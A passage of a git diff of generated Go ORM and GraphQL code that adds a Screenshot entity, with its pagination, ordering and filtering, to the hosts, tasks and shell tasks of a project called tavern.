rv[afterField]; v != nil { + args.after = v.(*Cursor) + } + if v := rv[beforeField]; v != nil { + args.before = v.(*Cursor) + } + if v, ok := rv[orderByField]; ok { + switch v := v.(type) { + case []*ScreenshotOrder: + args.opts = append(args.opts, WithScreenshotOrder(v)) + case []any: + var orders []*ScreenshotOrder + for i := range v { + mv, ok := v[i].(map[string]any) + if !ok { + continue + } + var ( + err1, err2 error + order = &ScreenshotOrder{Field: &ScreenshotOrderField{}, Direction: entgql.OrderDirectionAsc} + ) + if d, ok := mv[directionField]; ok { + err1 = order.Direction.UnmarshalGQL(d) + } + if f, ok := mv[fieldField]; ok { + err2 = order.Field.UnmarshalGQL(f) + } + if err1 == nil && err2 == nil { + orders = append(orders, order) + } + } + args.opts = append(args.opts, WithScreenshotOrder(orders)) + } + } + if v, ok := rv[whereField].(*ScreenshotWhereInput); ok { + args.opts = append(args.opts, WithScreenshotFilter(v.Filter)) + } + return args +} + // CollectFields tells the query-builder to eagerly load connected nodes by resolver context. func (s *ShellQuery) CollectFields(ctx context.Context, satisfies ...string) (*ShellQuery, error) { fc := graphql.GetFieldContext(ctx) @@ -3393,6 +3631,19 @@ func (st *ShellTaskQuery) collectField(ctx context.Context, oneNode bool, opCtx st.WithNamedReportedProcesses(alias, func(wq *HostProcessQuery) { *wq = *query }) + + case "screenshots": + var ( + alias = field.Alias + path = append(path, alias) + query = (&ScreenshotClient{config: st.config}).Query() + ) + if err := query.collectField(ctx, false, opCtx, field, path, mayAddCondition(satisfies, screenshotImplementors)...); err != nil { + return err + } + st.WithNamedScreenshots(alias, func(wq *ScreenshotQuery) { + *wq = *query + }) case "createdAt": if _, ok := fieldSeen[shelltask.FieldCreatedAt]; !ok { selectedFields = append(selectedFields, shelltask.FieldCreatedAt) @@ -4104,6 +4355,95 @@ func (t *TaskQuery) collectField(ctx context.Context, oneNode bool, opCtx *graph t.WithNamedShells(alias, func(wq *ShellQuery) { *wq = *query }) + + case "screenshots": + var ( + alias = field.Alias + path = append(path, alias) + query = (&ScreenshotClient{config: t.config}).Query() + ) + args := newScreenshotPaginateArgs(fieldArgs(ctx, new(ScreenshotWhereInput), path...)) + if err := validateFirstLast(args.first, args.last); err != nil { + return fmt.Errorf("validate first and last in path %q: %w", path, err) + } + pager, err := newScreenshotPager(args.opts, args.last != nil) + if err != nil { + return fmt.Errorf("create new pager in path %q: %w", path, err) + } + if query, err = pager.applyFilter(query); err != nil { + return err + } + ignoredEdges := !hasCollectedField(ctx, append(path, edgesField)...) + if hasCollectedField(ctx, append(path, totalCountField)...) || hasCollectedField(ctx, append(path, pageInfoField)...) { + hasPagination := args.after != nil || args.first != nil || args.before != nil || args.last != nil + if hasPagination || ignoredEdges { + query := query.Clone() + t.loadTotal = append(t.loadTotal, func(ctx context.Context, nodes []*Task) error { + ids := make([]driver.Value, len(nodes)) + for i := range nodes { + ids[i] = nodes[i].ID + } + var v []struct { + NodeID int `sql:"task_screenshots"` + Count int `sql:"count"` + } + query.Where(func(s *sql.Selector) { + s.Where(sql.InValues(s.C(task.ScreenshotsColumn), ids...)) + }) + if err := query.GroupBy(task.ScreenshotsColumn).Aggregate(Count()).Scan(ctx, &v); err != nil { + return err + } + m := make(map[int]int, len(v)) + for i := range v { + m[v[i].NodeID] = v[i].Count + } + for i := range nodes { + n := m[nodes[i].ID] + if nodes[i].Edges.totalCount[6] == nil { + nodes[i].Edges.totalCount[6] = make(map[string]int) + } + nodes[i].Edges.totalCount[6][alias] = n + } + return nil + }) + } else { + t.loadTotal = append(t.loadTotal, func(_ context.Context, nodes []*Task) error { + for i := range nodes { + n := len(nodes[i].Edges.Screenshots) + if nodes[i].Edges.totalCount[6] == nil { + nodes[i].Edges.totalCount[6] = make(map[string]int) + } + nodes[i].Edges.totalCount[6][alias] = n + } + return nil + }) + } + } + if ignoredEdges || (args.first != nil && *args.first == 0) || (args.last != nil && *args.last == 0) { + continue + } + if query, err = pager.applyCursors(query, args.after, args.before); err != nil { + return err + } + path = append(path, edgesField, nodeField) + if field := collectedField(ctx, path...); field != nil { + if err := query.collectField(ctx, false, opCtx, *field, path, mayAddCondition(satisfies, screenshotImplementors)...); err != nil { + return err + } + } + if limit := paginateLimit(args.first, args.last); limit > 0 { + if oneNode { + pager.applyOrder(query.Limit(limit)) + } else { + modify := entgql.LimitPerRow(task.ScreenshotsColumn, limit, pager.orderExpr(query)) + query.modifiers = append(query.modifiers, modify) + } + } else { + query = pager.applyOrder(query) + } + t.WithNamedScreenshots(alias, func(wq *ScreenshotQuery) { + *wq = *query + }) case "createdAt": if _, ok := fieldSeen[task.FieldCreatedAt]; !ok { selectedFields = append(selectedFields, task.FieldCreatedAt) diff --git a/tavern/internal/ent/gql_edge.go b/tavern/internal/ent/gql_edge.go index 320f5c627..747e19756 100644 --- a/tavern/internal/ent/gql_edge.go +++ b/tavern/internal/ent/gql_edge.go @@ -250,6 +250,27 @@ func (h *Host) Credentials( return h.QueryCredentials().Paginate(ctx, after, first, before, last, opts...) } +func (h *Host) Screenshots( + ctx context.Context, after *Cursor, first *int, before *Cursor, last *int, orderBy []*ScreenshotOrder, where *ScreenshotWhereInput, +) (*ScreenshotConnection, error) { + opts := []ScreenshotPaginateOption{ + WithScreenshotOrder(orderBy), + WithScreenshotFilter(where.Filter), + } + alias := graphql.GetFieldContext(ctx).Field.Alias + totalCount, hasTotalCount := h.Edges.totalCount[5][alias] + if nodes, err := h.NamedScreenshots(alias); err == nil || hasTotalCount { + pager, err := newScreenshotPager(opts, last != nil) + if err != nil { + return nil, err + } + conn := &ScreenshotConnection{Edges: []*ScreenshotEdge{}, TotalCount: totalCount} + conn.build(nodes, pager, after, first, before, last) + return conn, nil + } + return h.QueryScreenshots().Paginate(ctx, after, first, before, last, opts...) +} + func (hc *HostCredential) Host(ctx context.Context) (*Host, error) { result, err := hc.Edges.HostOrErr() if IsNotLoaded(err) { @@ -465,6 +486,30 @@ func (r *Repository) Owner(ctx context.Context) (*User, error) { return result, MaskNotFound(err) } +func (s *Screenshot) Host(ctx context.Context) (*Host, error) { + result, err := s.Edges.HostOrErr() + if IsNotLoaded(err) { + result, err = s.QueryHost().Only(ctx) + } + return result, err +} + +func (s *Screenshot) Task(ctx context.Context) (*Task, error) { + result, err := s.Edges.TaskOrErr() + if IsNotLoaded(err) { + result, err = s.QueryTask().Only(ctx) + } + return result, MaskNotFound(err) +} + +func (s *Screenshot) ShellTask(ctx context.Context) (*ShellTask, error) { + result, err := s.Edges.ShellTaskOrErr() + if IsNotLoaded(err) { + result, err = s.QueryShellTask().Only(ctx) + } + return result, MaskNotFound(err) +} + func (s *Shell) Task(ctx context.Context) (*Task, error) { result, err := s.Edges.TaskOrErr() if IsNotLoaded(err) { @@ -595,6 +640,18 @@ func (st *ShellTask) ReportedProcesses(ctx context.Context) (result []*HostProce return result, err } +func (st *ShellTask) Screenshots(ctx context.Context) (result []*Screenshot, err error) { + if fc := graphql.GetFieldContext(ctx); fc != nil && fc.Field.Alias != "" { + result, err = st.NamedScreenshots(graphql.GetFieldContext(ctx).Field.Alias) + } else { + result, err = st.Edges.ScreenshotsOrErr() + } + if IsNotLoaded(err) { + result, err = st.QueryScreenshots().All(ctx) + } + return result, err +} + func (t *Tag) Hosts( ctx context.Context, after *Cursor, first *int, before *Cursor, last *int, orderBy []*HostOrder, where *HostWhereInput, ) (*HostConnection, error) { @@ -716,6 +773,27 @@ func (t *Task) Shells( return t.QueryShells().Paginate(ctx, after, first, before, last, opts...) } +func (t *Task) Screenshots( + ctx context.Context, after *Cursor, first *int, before *Cursor, last *int, orderBy []*ScreenshotOrder, where *ScreenshotWhereInput, +) (*ScreenshotConnection, error) { + opts := []ScreenshotPaginateOption{ + WithScreenshotOrder(orderBy), + WithScreenshotFilter(where.Filter), + } + alias := graphql.GetFieldContext(ctx).Field.Alias + totalCount, hasTotalCount := t.Edges.totalCount[6][alias] + if nodes, err := t.NamedScreenshots(alias); err == nil || hasTotalCount { + pager, err := newScreenshotPager(opts, last != nil) + if err != nil { + return nil, err + } + conn := &ScreenshotConnection{Edges: []*ScreenshotEdge{}, TotalCount: totalCount} + conn.build(nodes, pager, after, first, before, last) + return conn, nil + } + return t.QueryScreenshots().Paginate(ctx, after, first, before, last, opts...) +} + func (t *Tome) Assets( ctx context.Context, after *Cursor, first *int, before *Cursor, last *int, orderBy []*AssetOrder, where *AssetWhereInput, ) (*AssetConnection, error) { diff --git a/tavern/internal/ent/gql_mutation_input.go b/tavern/internal/ent/gql_mutation_input.go index c395ee814..f7e4b38b0 100644 --- a/tavern/internal/ent/gql_mutation_input.go +++ b/tavern/internal/ent/gql_mutation_input.go @@ -81,6 +81,9 @@ type UpdateHostInput struct { ClearCredentials bool AddCredentialIDs []int RemoveCredentialIDs []int + ClearScreenshots bool + AddScreenshotIDs []int + RemoveScreenshotIDs []int } // Mutate applies the UpdateHostInput on the HostMutation builder. @@ -139,6 +142,15 @@ func (i *UpdateHostInput) Mutate(m *HostMutation) { if v := i.RemoveCredentialIDs; len(v) > 0 { m.RemoveCredentialIDs(v...) } + if i.ClearScreenshots { + m.ClearScreenshots() + } + if v := i.AddScreenshotIDs; len(v) > 0 { + m.AddScreenshotIDs(v...) + } + if v := i.RemoveScreenshotIDs; len(v) > 0 { + m.RemoveScreenshotIDs(v...) + } } // SetInput applies the change-set in the UpdateHostInput on the HostUpdate builder. diff --git a/tavern/internal/ent/gql_node.go b/tavern/internal/ent/gql_node.go index 87505cff7..e223e6eea 100644 --- a/tavern/internal/ent/gql_node.go +++ b/tavern/internal/ent/gql_node.go @@ -27,6 +27,7 @@ import ( "realm.pub/tavern/internal/ent/portal" "realm.pub/tavern/internal/ent/quest" "realm.pub/tavern/internal/ent/repository" + "realm.pub/tavern/internal/ent/screenshot" "realm.pub/tavern/internal/ent/shell" "realm.pub/tavern/internal/ent/shelltask" "realm.pub/tavern/internal/ent/tag" @@ -100,6 +101,11 @@ var repositoryImplementors = []string{"Repository", "Node"} // IsNode implements the Node interface check for GQLGen. func (*Repository) IsNode() {} +var screenshotImplementors = []string{"Screenshot", "Node"} + +// IsNode implements the Node interface check for GQLGen. +func (*Screenshot) IsNode() {} + var shellImplementors = []string{"Shell", "Node"} // IsNode implements the Node interface check for GQLGen. @@ -296,6 +302,15 @@ func (c *Client) noder(ctx context.Context, table string, id int) (Noder, error) } } return query.Only(ctx) + case screenshot.Table: + query := c.Screenshot.Query(). + Where(screenshot.ID(id)) + if fc := graphql.GetFieldContext(ctx); fc != nil { + if err := query.collectField(ctx, true, graphql.GetOperationContext(ctx), fc.Field, nil, screenshotImplementors...); err != nil { + return nil, err + } + } + return query.Only(ctx) case shell.Table: query := c.Shell.Query(). Where(shell.ID(id)) @@ -615,6 +630,22 @@ func (c *Client) noders(ctx context.Context, table string, ids []int) ([]Noder, *noder = node } } + case screenshot.Table: + query := c.Screenshot.Query(). + Where(screenshot.IDIn(ids...)) + query, err := query.CollectFields(ctx, screenshotImplementors...) + if err != nil { + return nil, err + } + nodes, err := query.All(ctx) + if err != nil { + return nil, err + } + for _, node := range nodes { + for _, noder := range idmap[node.ID] { + *noder = node + } + } case shell.Table: query := c.Shell.Query(). Where(shell.IDIn(ids...)) diff --git a/tavern/internal/ent/gql_pagination.go b/tavern/internal/ent/gql_pagination.go index 3aad5c6e0..8f5a46be0 100644 --- a/tavern/internal/ent/gql_pagination.go +++ b/tavern/internal/ent/gql_pagination.go @@ -27,6 +27,7 @@ import ( "realm.pub/tavern/internal/ent/portal" "realm.pub/tavern/internal/ent/quest" "realm.pub/tavern/internal/ent/repository" + "realm.pub/tavern/internal/ent/screenshot" "realm.pub/tavern/internal/ent/shell" "realm.pub/tavern/internal/ent/shelltask" "realm.pub/tavern/internal/ent/tag" @@ -4819,6 +4820,392 @@ func (r *Repository) ToEdge(order *RepositoryOrder) *RepositoryEdge { } } +// ScreenshotEdge is the edge representation of Screenshot. +type ScreenshotEdge struct { + Node *Screenshot `json:"node"` + Cursor Cursor `json:"cursor"` +} + +// ScreenshotConnection is the connection containing edges to Screenshot. +type ScreenshotConnection struct { + Edges []*ScreenshotEdge `json:"edges"` + PageInfo PageInfo `json:"pageInfo"` + TotalCount int `json:"totalCount"` +} + +func (c *ScreenshotConnection) build(nodes []*Screenshot, pager *screenshotPager, after *Cursor, first *int, before *Cursor, last *int) { + c.PageInfo.HasNextPage = before != nil + c.PageInfo.HasPreviousPage = after != nil + if first != nil && *first+1 == len(nodes) { + c.PageInfo.HasNextPage = true + nodes = nodes[:len(nodes)-1] + } else if last != nil && *last+1 == len(nodes) { + c.PageInfo.HasPreviousPage = true + nodes = nodes[:len(nodes)-1] + } + var nodeAt func(int) *Screenshot + if last != nil { + n := len(nodes) - 1 + nodeAt = func(i int) *Screenshot { + return nodes[n-i] + } + } else { + nodeAt = func(i int) *Screenshot { + return nodes[i] + } + } + c.Edges = make([]*ScreenshotEdge, len(nodes)) + for i := range nodes { + node := nodeAt(i) + c.Edges[i] = &ScreenshotEdge{ + Node: node, + Cursor: pager.toCursor(node), + } + } + if l := len(c.Edges); l > 0 { + c.PageInfo.StartCursor = &c.Edges[0].Cursor + c.PageInfo.EndCursor = &c.Edges[l-1].Cursor + } + if c.TotalCount == 0 { + c.TotalCount = len(nodes) + } +} + +// ScreenshotPaginateOption enables pagination customization. +type ScreenshotPaginateOption func(*screenshotPager) error + +// WithScreenshotOrder configures pagination ordering. +func WithScreenshotOrder(order []*ScreenshotOrder) ScreenshotPaginateOption { + return func(pager *screenshotPager) error { + for _, o := range order { + if err := o.Direction.Validate(); err != nil { + return err + } + } + pager.order = append(pager.order, order...) + return nil + } +} + +// WithScreenshotFilter configures pagination filter. +func WithScreenshotFilter(filter func(*ScreenshotQuery) (*ScreenshotQuery, error)) ScreenshotPaginateOption { + return func(pager *screenshotPager) error { + if filter == nil { + return errors.New("ScreenshotQuery filter cannot be nil") + } + pager.filter = filter + return nil + } +} + +type screenshotPager struct { + reverse bool + order []*ScreenshotOrder + filter func(*ScreenshotQuery) (*ScreenshotQuery, error) +} + +func newScreenshotPager(opts []ScreenshotPaginateOption, reverse bool) (*screenshotPager, error) { + pager := &screenshotPager{reverse: reverse} + for _, opt := range opts { + if err := opt(pager); err != nil { + return nil, err + } + } + for i, o := range pager.order { + if i > 0 && o.Field == pager.order[i-1].Field { + return nil, fmt.Errorf("duplicate order direction %q", o.Direction) + } + } + return pager, nil +} + +func (p *screenshotPager) applyFilter(query *ScreenshotQuery) (*ScreenshotQuery, error) { + if p.filter != nil { + return p.filter(query) + } + return query, nil +} + +func (p *screenshotPager) toCursor(s *Screenshot) Cursor { + cs_ := make([]any, 0, len(p.order)) + for _, o_ := range p.order { + cs_ = append(cs_, o_.Field.toCursor(s).Value) + } + return Cursor{ID: s.ID, Value: cs_} +} + +func (p *screenshotPager) applyCursors(query *ScreenshotQuery, after, before *Cursor) (*ScreenshotQuery, error) { + idDirection := entgql.OrderDirectionAsc + if p.reverse { + idDirection = entgql.OrderDirectionDesc + } + fields, directions := make([]string, 0, len(p.order)), make([]OrderDirection, 0, len(p.order)) + for _, o := range p.order { + fields = append(fields, o.Field.column) + direction := o.Direction + if p.reverse { + direction = direction.Reverse() + } + directions = append(directions, direction) + } + predicates, err := entgql.MultiCursorsPredicate(after, before, &entgql.MultiCursorsOptions{ + FieldID: DefaultScreenshotOrder.Field.column, + DirectionID: idDirection, + Fields: fields, + Directions: directions, + }) + if err != nil { + return nil, err + } + for _, predicate := range predicates { + query = query.Where(predicate) + } + return query, nil +} + +func (p *screenshotPager) applyOrder(query *ScreenshotQuery) *ScreenshotQuery { + var defaultOrdered bool + for _, o := range p.order { + direction := o.Direction + if p.reverse { + direction = direction.Reverse() + } + query = query.Order(o.Field.toTerm(direction.OrderTermOption())) + if o.Field.column == DefaultScreenshotOrder.Field.column { + defaultOrdered = true + } + if len(query.ctx.Fields) > 0 { + query.ctx.AppendFieldOnce(o.Field.column) + } + } + if !defaultOrdered { + direction := entgql.OrderDirectionAsc + if p.reverse { + direction = direction.Reverse() + } + query = query.Order(DefaultScreenshotOrder.Field.toTerm(direction.OrderTermOption())) + } + return query +} + +func (p *screenshotPager) orderExpr(query *ScreenshotQuery) sql.Querier { + if len(query.ctx.Fields) > 0 { + for _, o := range p.order { + query.ctx.AppendFieldOnce(o.Field.column) + } + } + return sql.ExprFunc(func(b *sql.Builder) { + for _, o := range p.order { + direction := o.Direction + if p.reverse { + direction = direction.Reverse() + } + b.Ident(o.Field.column).Pad().WriteString(string(direction)) + b.Comma() + } + direction := entgql.OrderDirectionAsc + if p.reverse { + direction = direction.Reverse() + } + b.Ident(DefaultScreenshotOrder.Field.column).Pad().WriteString(string(direction)) + }) +} + +// Paginate executes the query and returns a relay based cursor connection to Screenshot. +func (s *ScreenshotQuery) Paginate( + ctx context.Context, after *Cursor, first *int, + before *Cursor, last *int, opts ...ScreenshotPaginateOption, +) (*ScreenshotConnection, error) { + if err := validateFirstLast(first, last); err != nil { + return nil, err + } + pager, err := newScreenshotPager(opts, last != nil) + if err != nil { + return nil, err + } + if s, err = pager.applyFilter(s); err != nil { + return nil, err + } + conn := &ScreenshotConnection{Edges: []*ScreenshotEdge{}} + ignoredEdges := !hasCollectedField(ctx, edgesField) + if hasCollectedField(ctx, totalCountField) || hasCollectedField(ctx, pageInfoField) { + hasPagination := after != nil || first != nil || before != nil || last != nil + if hasPagination || ignoredEdges { + c := s.Clone() + c.ctx.Fields = nil + if conn.TotalCount, err = c.Count(ctx); err != nil { + return nil, err + } + conn.PageInfo.HasNextPage = first != nil && conn.TotalCount > 0 + conn.PageInfo.HasPreviousPage = last != nil && conn.TotalCount > 0 + } + } + if ignoredEdges || (first != nil && *first == 0) || (last != nil && *last == 0) { + return conn, nil + } + if s, err = pager.applyCursors(s, after, before); err != nil { + return nil, err + } + limit := paginateLimit(first, last) + if limit != 0 { + s.Limit(limit) + } + if field := collectedField(ctx, edgesField, nodeField); field != nil { + if err := s.collectField(ctx, limit == 1, graphql.GetOperationContext(ctx), *field, []string{edgesField, nodeField}); err != nil { + return nil, err + } + } + s = pager.applyOrder(s) + nodes, err := s.All(ctx) + if err != nil { + return nil, err + } + conn.build(nodes, pager, after, first, before, last) + return conn, nil +} + +var ( + // ScreenshotOrderFieldCreatedAt orders Screenshot by created_at. + ScreenshotOrderFieldCreatedAt = &ScreenshotOrderField{ + Value: func(s *Screenshot) (ent.Value, error) { + return s.CreatedAt, nil + }, + column: screenshot.FieldCreatedAt, + toTerm: screenshot.ByCreatedAt, + toCursor: func(s *Screenshot) Cursor { + return Cursor{ + ID: s.ID, + Value: s.CreatedAt, + } + }, + } + // ScreenshotOrderFieldLastModifiedAt orders Screenshot by last_modified_at. + ScreenshotOrderFieldLastModifiedAt = &ScreenshotOrderField{ + Value: func(s *Screenshot) (ent.Value, error) { + return s.LastModifiedAt, nil + }, + column: screenshot.FieldLastModifiedAt, + toTerm: screenshot.ByLastModifiedAt, + toCursor: func(s *Screenshot) Cursor { + return Cursor{ + ID: s.ID, + Value: s.LastModifiedAt, + } + }, + } + // ScreenshotOrderFieldName orders Screenshot by name. + ScreenshotOrderFieldName = &ScreenshotOrderField{ + Value: func(s *Screenshot) (ent.Value, error) { + return s.Name, nil + }, + column: screenshot.FieldName, + toTerm: screenshot.ByName, + toCursor: func(s *Screenshot) Cursor { + return Cursor{ + ID: s.ID, + Value: s.Name, + } + }, + } + // ScreenshotOrderFieldSize orders Screenshot by size. + ScreenshotOrderFieldSize = &ScreenshotOrderField{ + Value: func(s *Screenshot) (ent.Value, error) { + return s.Size, nil + }, + column: screenshot.FieldSize, + toTerm: screenshot.BySize, + toCursor: func(s *Screenshot) Cursor { + return Cursor{ + ID: s.ID, + Value: s.Size, + } + }, + } +) + +// String implement fmt.Stringer interface. +func (f ScreenshotOrderField) String() string { + var str string + switch f.column { + case ScreenshotOrderFieldCreatedAt.column: + str = "CREATED_AT" + case ScreenshotOrderFieldLastModifiedAt.column: + str = "LAST_MODIFIED_AT" + case ScreenshotOrderFieldName.column: + str = "NAME" + case ScreenshotOrderFieldSize.column: + str = "SIZE" + } + return str +} + +// MarshalGQL implements graphql.Marshaler interface. +func (f ScreenshotOrderField) MarshalGQL(w io.Writer) { + io.WriteString(w, strconv.Quote(f.String())) +} + +// UnmarshalGQL implements graphql.Unmarshaler interface. +func (f *ScreenshotOrderField) UnmarshalGQL(v interface{}) error { + str, ok := v.(string) + if !ok { + return fmt.Errorf("ScreenshotOrderField %T must be a string", v) + } + switch str { + case "CREATED_AT": + *f = *ScreenshotOrderFieldCreatedAt + case "LAST_MODIFIED_AT": + *f = *ScreenshotOrderFieldLastModifiedAt + case "NAME": + *f = *ScreenshotOrderFieldName + case "SIZE": + *f = *ScreenshotOrderFieldSize + default: + return fmt.Errorf("%s is not a valid ScreenshotOrderField", str) + } + return nil +} + +// ScreenshotOrderField defines the ordering field of Screenshot. +type ScreenshotOrderField struct { + // Value extracts the ordering value from the given Screenshot. + Value func(*Screenshot) (ent.Value, error) + column string // field or computed. + toTerm func(...sql.OrderTermOption) screenshot.OrderOption + toCursor func(*Screenshot) Cursor +} + +// ScreenshotOrder defines the ordering of Screenshot. +type ScreenshotOrder struct { + Direction OrderDirection `json:"direction"` + Field *ScreenshotOrderField `json:"field"` +} + +// DefaultScreenshotOrder is the default ordering of Screenshot. +var DefaultScreenshotOrder = &ScreenshotOrder{ + Direction: entgql.OrderDirectionAsc, + Field: &ScreenshotOrderField{ + Value: func(s *Screenshot) (ent.Value, error) { + return s.ID, nil + }, + column: screenshot.FieldID, + toTerm: screenshot.ByID, + toCursor: func(s *Screenshot) Cursor { + return Cursor{ID: s.ID} + }, + }, +} + +// ToEdge converts Screenshot into ScreenshotEdge. +func (s *Screenshot) ToEdge(order *ScreenshotOrder) *ScreenshotEdge { + if order == nil { + order = DefaultScreenshotOrder + } + return &ScreenshotEdge{ + Node: s, + Cursor: order.Field.toCursor(s), + } +} + // ShellEdge is the edge representation of Shell. type ShellEdge struct { Node *Shell `json:"node"` diff --git a/tavern/internal/ent/gql_where_input.go b/tavern/internal/ent/gql_where_input.go index 8fd36793d..38355810b 100644 --- a/tavern/internal/ent/gql_where_input.go +++ b/tavern/internal/ent/gql_where_input.go @@ -23,6 +23,7 @@ import ( "realm.pub/tavern/internal/ent/predicate" "realm.pub/tavern/internal/ent/quest" "realm.pub/tavern/internal/ent/repository" + "realm.pub/tavern/internal/ent/screenshot" "realm.pub/tavern/internal/ent/shell" "realm.pub/tavern/internal/ent/shelltask" "realm.pub/tavern/internal/ent/tag" @@ -2383,6 +2384,10 @@ type HostWhereInput struct { // "credentials" edge predicates. HasCredentials *bool `json:"hasCredentials,omitempty"` HasCredentialsWith []*HostCredentialWhereInput `json:"hasCredentialsWith,omitempty"` + + // "screenshots" edge predicates. + HasScreenshots *bool `json:"hasScreenshots,omitempty"` + HasScreenshotsWith []*ScreenshotWhereInput `json:"hasScreenshotsWith,omitempty"` } // AddPredicates adds custom predicates to the where input to be used during the filtering phase. @@ -2865,6 +2870,24 @@ func (i *HostWhereInput) P() (predicate.Host, error) { } predicates = append(predicates, host.HasCredentialsWith(with...)) } + if i.HasScreenshots != nil { + p := host.HasScreenshots() + if !*i.HasScreenshots { + p = host.Not(p) + } + predicates = append(predicates, p) + } + if len(i.HasScreenshotsWith) > 0 { + with := make([]predicate.Screenshot, 0, len(i.HasScreenshotsWith)) + for _, w := range i.HasScreenshotsWith { + p, err := w.P() + if err != nil { + return nil, fmt.Errorf("%w: field 'HasScreenshotsWith'", err) + } + with = append(with, p) + } + predicates = append(predicates, host.HasScreenshotsWith(with...)) + } switch len(predicates) { case 0: return nil, ErrEmptyHostWhereInput @@ -6203,6 +6226,414 @@ func (i *RepositoryWhereInput) P() (predicate.Repository, error) { } } +// ScreenshotWhereInput represents a where input for filtering Screenshot queries. +type ScreenshotWhereInput struct { + Predicates []predicate.Screenshot `json:"-"` + Not *ScreenshotWhereInput `json:"not,omitempty"` + Or []*ScreenshotWhereInput `json:"or,omitempty"` + And []*ScreenshotWhereInput `json:"and,omitempty"` + + // "id" field predicates. + ID *int `json:"id,omitempty"` + IDNEQ *int `json:"idNEQ,omitempty"` + IDIn []int `json:"idIn,omitempty"` + IDNotIn []int `json:"idNotIn,omitempty"` + IDGT *int `json:"idGT,omitempty"` + IDGTE *int `json:"idGTE,omitempty"` + IDLT *int `json:"idLT,omitempty"` + IDLTE *int `json:"idLTE,omitempty"` + + // "created_at" field predicates. + CreatedAt *time.Time `json:"createdAt,omitempty"` + CreatedAtNEQ *time.Time `json:"createdAtNEQ,omitempty"` + CreatedAtIn []time.Time `json:"createdAtIn,omitempty"` + CreatedAtNotIn []time.Time `json:"createdAtNotIn,omitempty"` + CreatedAtGT *time.Time `json:"createdAtGT,omitempty"` + CreatedAtGTE *time.Time `json:"createdAtGTE,omitempty"` + CreatedAtLT *time.Time `json:"createdAtLT,omitempty"` + CreatedAtLTE *time.Time `json:"createdAtLTE,omitempty"` + + // "last_modified_at" field predicates. + LastModifiedAt *time.Time `json:"lastModifiedAt,omitempty"` + LastModifiedAtNEQ *time.Time `json:"lastModifiedAtNEQ,omitempty"` + LastModifiedAtIn []time.Time `json:"lastModifiedAtIn,omitempty"` + LastModifiedAtNotIn []time.Time `json:"lastModifiedAtNotIn,omitempty"` + LastModifiedAtGT *time.Time `json:"lastModifiedAtGT,omitempty"` + LastModifiedAtGTE *time.Time `json:"lastModifiedAtGTE,omitempty"` + LastModifiedAtLT *time.Time `json:"lastModifiedAtLT,omitempty"` + LastModifiedAtLTE *time.Time `json:"lastModifiedAtLTE,omitempty"` + + // "name" field predicates. + Name *string `json:"name,omitempty"` + NameNEQ *string `json:"nameNEQ,omitempty"` + NameIn []string `json:"nameIn,omitempty"` + NameNotIn []string `json:"nameNotIn,omitempty"` + NameGT *string `json:"nameGT,omitempty"` + NameGTE *string `json:"nameGTE,omitempty"` + NameLT *string `json:"nameLT,omitempty"` + NameLTE *string `json:"nameLTE,omitempty"` + NameContains *string `json:"nameContains,omitempty"` + NameHasPrefix *string `json:"nameHasPrefix,omitempty"` + NameHasSuffix *string `json:"nameHasSuffix,omitempty"` + NameEqualFold *string `json:"nameEqualFold,omitempty"` + NameContainsFold *string `json:"nameContainsFold,omitempty"` + + // "size" field predicates. + Size *uint64 `json:"size,omitempty"` + SizeNEQ *uint64 `json:"sizeNEQ,omitempty"` + SizeIn []uint64 `json:"sizeIn,omitempty"` + SizeNotIn []uint64 `json:"sizeNotIn,omitempty"` + SizeGT *uint64 `json:"sizeGT,omitempty"` + SizeGTE *uint64 `json:"sizeGTE,omitempty"` + SizeLT *uint64 `json:"sizeLT,omitempty"` + SizeLTE *uint64 `json:"sizeLTE,omitempty"` + + // "hash" field predicates. + Hash *string `json:"hash,omitempty"` + HashNEQ *string `json:"hashNEQ,omitempty"` + HashIn []string `json:"hashIn,omitempty"` + HashNotIn []string `json:"hashNotIn,omitempty"` + HashGT *string `json:"hashGT,omitempty"` + HashGTE *string `json:"hashGTE,omitempty"` + HashLT *string `json:"hashLT,omitempty"` + HashLTE *string `json:"hashLTE,omitempty"` + HashContains *string `json:"hashContains,omitempty"` + HashHasPrefix *string `json:"hashHasPrefix,omitempty"` + HashHasSuffix *string `json:"hashHasSuffix,omitempty"` + HashIsNil bool `json:"hashIsNil,omitempty"` + HashNotNil bool `json:"hashNotNil,omitempty"` + HashEqualFold *string `json:"hashEqualFold,omitempty"` + HashContainsFold *string `json:"hashContainsFold,omitempty"` + + // "host" edge predicates. + HasHost *bool `json:"hasHost,omitempty"` + HasHostWith []*HostWhereInput `json:"hasHostWith,omitempty"` + + // "task" edge predicates. + HasTask *bool `json:"hasTask,omitempty"` + HasTaskWith []*TaskWhereInput `json:"hasTaskWith,omitempty"` + + // "shell_task" edge predicates. + HasShellTask *bool `json:"hasShellTask,omitempty"` + HasShellTaskWith []*ShellTaskWhereInput `json:"hasShellTaskWith,omitempty"` +} + +// AddPredicates adds custom predicates to the where input to be used during the filtering phase. +func (i *ScreenshotWhereInput) AddPredicates(predicates ...predicate.Screenshot) { + i.Predicates = append(i.Predicates, predicates...) +} + +// Filter applies the ScreenshotWhereInput filter on the ScreenshotQuery builder. +func (i *ScreenshotWhereInput) Filter(q *ScreenshotQuery) (*ScreenshotQuery, error) { + if i == nil { + return q, nil + } + p, err := i.P() + if err != nil { + if err == ErrEmptyScreenshotWhereInput { + return q, nil + } + return nil, err + } + return q.Where(p), nil +} + +// ErrEmptyScreenshotWhereInput is returned in case the ScreenshotWhereInput is empty. +var ErrEmptyScreenshotWhereInput = errors.New("ent: empty predicate ScreenshotWhereInput") + +// P returns a predicate for filtering screenshots. +// An error is returned if the input is empty or invalid. +func (i *ScreenshotWhereInput) P() (predicate.Screenshot, error) { + var predicates []predicate.Screenshot + if i.Not != nil { + p, err := i.Not.P() + if err != nil { + return nil, fmt.Errorf("%w: field 'not'", err) + } + predicates = append(predicates, screenshot.Not(p)) + } + switch n := len(i.Or); { + case n == 1: + p, err := i.Or[0].P() + if err != nil { + return nil, fmt.Errorf("%w: field 'or'", err) + } + predicates = append(predicates, p) + case n > 1: + or := make([]predicate.Screenshot, 0, n) + for _, w := range i.Or { + p, err := w.P() + if err != nil { + return nil, fmt.Errorf("%w: field 'or'", err) + } + or = append(or, p) + } + predicates = append(predicates, screenshot.Or(or...)) + } + switch n := len(i.And); { + case n == 1: + p, err := i.And[0].P() + if err != nil { + return nil, fmt.Errorf("%w: field 'and'", err) + } + predicates = append(predicates, p) + case n > 1: + and := make([]predicate.Screenshot, 0, n) + for _, w := range i.And { + p, err := w.P() + if err != nil { + return nil, fmt.Errorf("%w: field 'and'", err) + } + and = append(and, p) + } + predicates = 